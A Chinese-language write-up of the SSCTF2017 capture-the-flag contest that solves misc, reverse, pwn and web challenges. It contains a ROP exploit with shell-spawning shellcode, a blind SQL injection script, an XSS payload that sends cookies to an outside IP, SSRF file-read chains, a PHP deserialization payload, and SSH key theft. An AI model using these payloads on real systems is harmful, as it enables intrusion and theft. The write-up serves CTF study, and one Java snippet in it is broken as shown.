本文《SSCTF2017 WriteUp》 由ChaMd5安全团队原创投稿安全脉搏,作者为ChaMd5安全团队核心成员pcat&poyoten&lncken,入驻安全脉搏账号发表本文,如需要转载,请先联系安全脉搏&ChaMd5安全团队授权;未经授权请勿转载。

SSCTF000

杂项

签到

Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==

先base64解码得到ggQ@gQ1fqh0ohtjpt_sw{gfhgs#}

一看格式,无非是凯撒+栅栏,解题关键是flag格式ssctf{},所以先凯撒得到

ssC@sC1rct0atfvbf_ei{srtse#}

栅栏得到ssctf{ssCtf_seC10ver#@rabit}

 

flag在哪里

这题提供了一个网址http://60.191.205.87/,进去后点击DownLoad下载pcap数据包,如果只是单纯的数据包的话,直接提供一个下载链接即可,而提供了一个网址,很明显后面需要用到,在做题的时候先记下这个网址。

做数据包题目的时候,我一般都是先看数据包大概什么协议,如果有http的话,就直接导出http对象,然后观看有什么特别之处(一般藏匿着什么zip包或者什么配置文件

ssctf1

这里看到git-upload-pack字样,.nijiakadaye、config字样,很大可能是git泄露,尝试下浏览器访问http://60.191.205.87/.nijiakadaye

ssctf2

 

forbidden总比404好,再访问http://60.191.205.87/.nijiakadaye/confighttp://60.191.205.87/.nijiakadaye/index都有料,于是不用想了,直接上githack神器,神器哪家强呢?直接找四叶草的bugscan车库

ssctf3

打开我的kali,输入如下

git clone https://github.com/BugScanTeam/GitHack
cd GitHack
python GitHack.py http://60.191.205.87/.nijiakadaye/
#漫长的等待
cd dist/60.191.205.87
#然后就是git命令看看历史提交记录

git log -u

看到

ssctf4

直接提交红色ssctf{}内的不行,那么继续看下去

ssctf5

原本以为要自己写个解密脚本,结果仔细观看后发现$data只参与异或运算,于是wtf()直接当解密函数即可,然后$pwd取ssctf而不是wodegea,脚本如下,运行后得到flag

ssctf6

 

互相伤害!!!

下载的yi.zip,解压后的文件没后缀,先用binwalk和file来观看

ssctf7

又一个pcap包(而且有大量jpg和zip,不得不说binwalk神器就是这么好用),于是自己加了一个.pcap后缀后用wireshark打开,并且同样的套路,先导出http对象

ssctf8

这里只有jpg文件,而没有zip文件,很明显zip就是藏匿在jpg里

ssctf9

为了方便操作,我修改了名字,然后使用binwalk –e 图片名.jpg (由于我懒,我就不写个shell命令)

ssctf10

结果在“互相伤害”那图下的zip包无法解压,是加密的,而其他20个zip解压后(binwalk –e会自动解压)都是相同的二维码(内容大概是“四叶草出题人真帅”之类的话语,←_←)

对于加密的压缩包一般的思路:弱密码字典、位数少的则暴力破解、伪加密、明文攻击,以及常见的把密码藏匿在各种地方(这也是脑洞的考验)

经过排查后,焦点落在这图:

ssctf11

其中的二维码一开始我扫描不出,后来我知道ssctf的出题套路,凡是二维码的扫描,你一个扫描不出,就换别的扫描,总之手机自带扫描、微信扫描、qq扫描轮着来一波,肯定可以扫出来。

二维码内容:

U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7bE9uL8lW/KLfbs33aC1XXw==

看到U2Fsd头,按照我个人的过往经验,一般是aes加盐,而且我也大概猜到出题人很大可能是用网页上的加密,于是我默默地打开自己的收藏夹,

http://tool.chinaz.com/Tools/textencrypt.aspx

把密文填写在右边,选择AES,先试试不填写密码的情况下能否解密,结果不能,然后观看上图有一个红色显眼的CTF字样,于是就填写上去试试看,果不其然顺利解密

ssctf12

得到668b13e0b0fc0944daf4c223b9831e49,查无记录,那么就拿去解压那个加密压缩包吧,顺利解压得到如下二维码

ssctf13

想都不用想,放大,然后反色(都是老套路而已),扫描中间就得到结果。

 

我们的秘密是绿色的

一开始拿到图后我是看看有什么敏感的字符串或者lsb对RGB的G位看看有什么特别,结果都无果。

之后,我在网上找到原图,然后对比后,比赛的图片只是后面多了1228字节,但是琢磨不透。

而题目中“我们的秘密”,之前陕西的比赛有一个类似的隐写题目,就是用了Our Secret这隐写软件,而最关键是密码,我先后试了“green”、“绿色”、“绿色的”、“Clover”、“clover”等都不行。

最后要聚焦到图片上,把绿色的数字合起来就是“0405111218192526”,然后得到一个try.zip,注释为“你知道coffee的生日是多少么~~~”,生日密码的用工具爆破即可,得到readme.txt和加密的flag.zip,而flag.zip里有readme.txt,想都不想直接上明文攻击,把readme.txt用winrar压缩成readme.zip去攻击即可得到密钥为Y29mZmVl,然后里层flag.zip照样有密码,把Y29mZmVl解码为coffee,又是一层加密,都做到这里了,使用套路,上伪加密ZipCenOp.jar r flag.zip即可,得到qddpqwnpcplen%prqwn_{_zz*d@gq}

套路继续上,凯撒+栅栏,这里关键是flag格式为flag{},所以凯撒为fsseflcereatc%egflc_{_oo*s@vf},栅栏得到flag{ssctf_@seclover%coffee_*}

 

你知道我在等你么

music.zip解压后是mp3,对于我这个binwalk狂魔,

ssctf14

是骡子还是马,binwalk一上就知晓,改为.zip然后解压得到

ssctf15

coffee.zip是加密的,图片里的二维码依然只要微信、qq、手机扫描来一波就可以扫出是“神龙摆尾”大概的字样,此时在心里搜刮下成语含义,大概可能就是指要我们关注文件尾部,所以大概的猜测音乐不需要音频隐写(说是这么说,其实该有的音频隐写套路我都有去做一遍),用winhex打开,看末尾,得到压缩包密码

ssctf16

解压后是一张coffee.jpg,然后我又傻傻地做了各种试探,最后其实还是得老套路,在winhex里搜索到coffee字样

ssctf17

再结合binwalk可以看到coffee.jpg后面有png图片常见的zlib头,所以把coffee开头至结尾截取出来另存为png文件,把文件头前8位修改为png文件头即可打开,扫描后得到一个文件下载地址,下载后经过识别是zip包,然后猜测是伪加密,用ZipCenOp.jar来解密即可

ssctf18

解开后是

a2V5aXMlN0JzZWMxb3ZlciUyNV82dWdzY2FuX0Bjb2ZmZWUlN0Q=

ssctf19

逆向

加密勒索软件

题目提供一个APK和一个excel文件。APK算法流程比较明晰:先取签名的md5值,进行SHA计算得40字节的HEX串,再进行变换和加key的变换,最终得出加密文件的40字节加密串。说是文件加密其实只是将文件的第256*n+1个字节数据与加密串循环异或。研究了一阵加密串的算法,似乎是不可逆。虽然APK中已经给出key是6位,但是由于涉及到文件读写,似乎直接爆破不是个好办法。由于或者的数据不多,而且分隔较开,而电子表格文件也是有一定格式的,看看能不能通过特殊位置的值反算出一部分的加密串,然后就可以爆密码了。通过zip文件格式及文件名、连续的00字节,果然就得出一部分的加密串。

103,87,40, ,117,103, ,40,40, ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,

,  ,  ,  ,  ,40,40,117,103,87,  ,40,  ,  ,87,  ,  ,117

这样再爆破就没有创建大量文件的问题了。再细看下,似乎加密串的数值比较单一,也有某种规律性。试了下103,87,40,40,1175个字节重复扩展成40位满足上面的格式。于是乎解了试试。

import java.io.File;  
import java.io.FileInputStream;  
import java.io.FileNotFoundException;  
import java.io.FileOutputStream;  
import java.io.IOException;  
import java.io.InputStreamReader; 

public class key {
    
    public static void main(String[] args){
        byte[] k2 = {103,87,40,40 ,117,103,87,40,40,117,103,87,40,40, 
                117,103,87,40,40,117,103,87,40,40,117,103,87,40,40,
                117,103,87,40,40,117,103,87,40,40,117};
        System.out.println(Arrays.toString(k1)); 
        System.out.println(k1.length);  
        File v2 = new File("d:/","ctf1_encode.xlsx");
        if(v2.exists()) {
            try {
                FileOutputStream v5 = new FileOutputStream(new File("d:/","ctf1.xlsx"));
                FileInputStream v4 = new FileInputStream(v2);
                byte[] v11 = new byte[v4.available()];
                v4.read(v11);
                int v6;
                for(v6 = 0; v6 < v11.length; v6 += 256) {
                    v11[v6] = ((byte)(v11[v6] ^ k2[v6 % k2.length]));
                }

                v5.write(v11);
                v5.close();
                v4.close();
                //v2.delete();
               
            }
            catch(Exception v1) {
                System.out.println("error");
            }
        }
    }
}

电子表格打开正常,得到图片中的flag:SSCTF{G0odJo13!}

 

Login

直接上Android Killer

ssctf20

关键在JinTest里

ssctf21

里面System.loadLibrary("test");

把lib/armeabi-v7a/ libtest.so丢入IDA中,

ssctf22

逻辑很复杂,直接丢脚本

ssctf23

得到VVe1lD0ne^-^

ssctf24

pwn

Pwn2

这个题静态编译,无动态库。流程比较简单,其实题目也简单。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // ST04_1@1
  char v4; // ST04_1@1
  int v6; // [sp+Ch] [bp-Ch]@1

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  printf("SSCTF[InPut Data Size]", v3);
  _isoc99_scanf("%d", (unsigned int)&v6);
  temp = malloc(v6);
  printf("SSCTF[YourData]", v4);
  read(0, temp, v6);
  puts("[Ok!]");
  print(temp, v6);
  return 0;
}

int __cdecl print(int a1, int a2)
{
  char v3; // [sp+Eh] [bp-3Ah]@1

  memcpy(&v3, a1, a2);
  return puts(&v3);
}

溢出点在print函数的memcpy调用处,a2是输入控制的堆大小,当堆大小大于v3到当前栈底就会发生溢出,而且保护只有NX,通过覆盖print的返回就能构造ROP,又由于没有动态库,所以只能上shellcode了。先找一块内存区域用mprotect更改内存属性,再用read将shellcode写入目标区域,最后返回到目标区域执行shellcode。利用代码如下:

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *

# switches

if len(sys.argv) == 1:
    DEBUG = 1 
else :
    DEBUG = 0
# modify this
if DEBUG:
    io = process('./250')
    #gdb.attach(io,'#b main')
else:
    io = remote(sys.argv[1], int(sys.argv[2]))

context(log_level='debug')

mprotect = 0x0806E070
main_addr = 0x08048886
read = 0x0806D510
stack = 0x08049000
size = 0x1000
prop = 7

def pwn():
    io.recvuntil('[InPut Data Size]')
    io.sendline('82')
    io.recvuntil('[YourData]')
    payload1 = 'A' * 62+p32(mprotect)+p32(main_addr)+p32(stack)+p32(size)+p32(prop) 
    io.send(payload1)
    io.recvuntil('[InPut Data Size]')
    io.sendline('90')
    io.recvuntil('[YourData]')
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
    ssize = len(shellcode)
    payload2 = 'A' * 62+p32(read)+p32(stack)+p32(0)+p32(stack)+p32(ssize)+'THE END!'
    io.send(payload2)
    #io.recvuntil('THE END!')
    raw_input('send?')
    io.send(shellcode)
    io.interactive()
    return

if __name__ == '__main__':
    pwn()

 

web

捡吗?

一开始进去,右键查看源码

<div  align="center"><img src="./news.php?url=127.0.0.1/img.jpg">

这里可以包含内网的文件

一开始我也不知道具体内网是哪里,而且大家也是疯狂的扫描,到最后官方直接给服务器地址,那么我也就容易解题了。

经过多番测试,协议名过滤的是全大写或者全小写,所以大小写混合就绕过

ssctf25

 

 

弹幕

http://117.34.71.7/ 打开后,可以发弹幕,一开始玩了不少,一直没什么头绪,直至我在一直打开的BurpSuite的http history里观测到xssHentai页面

ssctf26

以admin和admin去登录成功(后来发现都可以随便登录),进去后

ssctf28

构造各种xss,折腾一番后,最后能打到的显示

if uid = 1\054you will see flag

最后发现是链接的问题,必须是/xssHentai/request/1/?body (也就是这里的1决定了uid)

payload如下

http://117.34.71.7/xssHentai/request/1/?body=%3Cscript%3E%24.get(%22http%3a%2f%2f118.89.101.169:30%2f%3fflag%3D%22%2bdocument.cookie)%3C%2fscript%3E

flag就会在cookies里

ssctf29

白吗?都是套路

还没想好怎么说,我觉得残废不帅了

找到个readme.txt:

修改根目录l.php1.修改相关Web容器信息2.修改物理路径为linux路径3.删除windows关键字部署完成后删除根目录sql.sql、flag、pass文件默认数据库密码为空,数据库名为ctf1

需要写的脚本

1.数据库中每增加一条ID,访问一次

找到wwwroot.zip,明文攻击

可惜我在主页上下载的图片其大小不对(后来我也知道压缩包里的图片是如何处理的),不过我还是没放过明文攻击,最后我下载到了phpMyAdmin/js/functions.js,一开始用winrar进行压缩后,明文攻击不了,之后我换好压来压缩,就明文攻击成功,密码是显示不出(至少32位以上),但可以保存解密后的文件,可恶的是文件都是假的,套路!套路!!!

SSCTF30

各种折腾后,发现存在phpinfo.php,由此确定了绝对路径.

SSCTF31

实际上,结合之前过的web1的payload,使用file协议

submit.php

view-source:http://120.132.21.19/news.php?url=Http://10.23.173.190/news.php?url=fILe:///var/www/submit.php

在submit.php里测试提交sub,没想到收到了回显,得到后台地址,

web1里有漏洞可以直接读web3得后台,获得源码,然后读js.php就是flag。

view-source:http://120.132.21.19/news.php?url=Http://10.23.173.190/news.php?url=FIle:///var/www//admin/b9557ee76eeb61cadda090855a47d266-1.php

view-source:http://120.132.21.19/news.php?url=Http://10.23.173.190/news.php?url=fILe:///var/www/admin/js.php

SSCTF32

SSCTF33

 

CloverSec Logos 

picture.php有注入

盲注,一万个曹尼玛

import requests
s = requests.session()
ll = "1234567890qwertyuiopasdfghjklzxcvbnm"
username = ""
for j in range(1,32):
    print j
    for i in ll:
        url = 'http://60.191.205.80/picture.php?id=1"%26%26substr((select(passwoorrd)from(user)where(id=1)),'+str(j)+',1)="'+i
        # print url
        # username = ""
        r = s.get(url)
        # print r.text
        if "Picture  not found" not in r.text:
            username = username + i
            print username
            break

得到admin的密码,20位:14aceb3fc5992cef3d97

去掉前三位和最后一位,解下md5,

我们chamd5,查md5免费(广告而已) http://chamd5.org

我们chamd5,查md5免费(广告而已) http://chamd5.org

我们chamd5,查md5免费(广告而已) http://chamd5.org

解出来密码:admin^g

接着是反序列化

直接贴payload吧

http://60.191.205.80?action=imformation&secret=php://input
post 1234
token=O:+4:"Read":1:{s:4:"file";s:16:"./ssctf_flag.php";}

SSCTF34

SSCTF35

 

webhook代码审计

 

需要知道secretkey才能addrepo,

出于对赵哥智商的怀疑猜测secretkey是ssctf

那么本地跑一下,线上构造一个git,配合addrepo生成一个key

/addrepo
?repo=pseudo
&key=415f348a94d8b8b2a96de61744c8e090
&url=https://github.com/pseudo2015/pseudo.git
&pass=pseudo9987

然后就可以构造json请求

{"repository":{"name":"pseudo"},"ref":"refs/heads/aa","before":"{repos}"}

接着登陆查看log

通过构造build.json可以读任意目录

根据代码得到flag项目应该在../flag/

读回来发现各个分支都没有

SSCTF36

再读文件找到/home/www-data/.ssh/里有用户私钥

添加到本机上,然后git pull获得flag.txt

SSCTF37

SSCTF{02d6d06ec9e35d11d1f421a400edbb06}

 

本文《SSCTF2017 WriteUp》 由ChaMd5安全团队原创投稿安全脉搏,作者为ChaMd5安全团队核心成员pcat&poyoten&lncken,入驻安全脉搏账号发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

 

源链接

Hacking more

...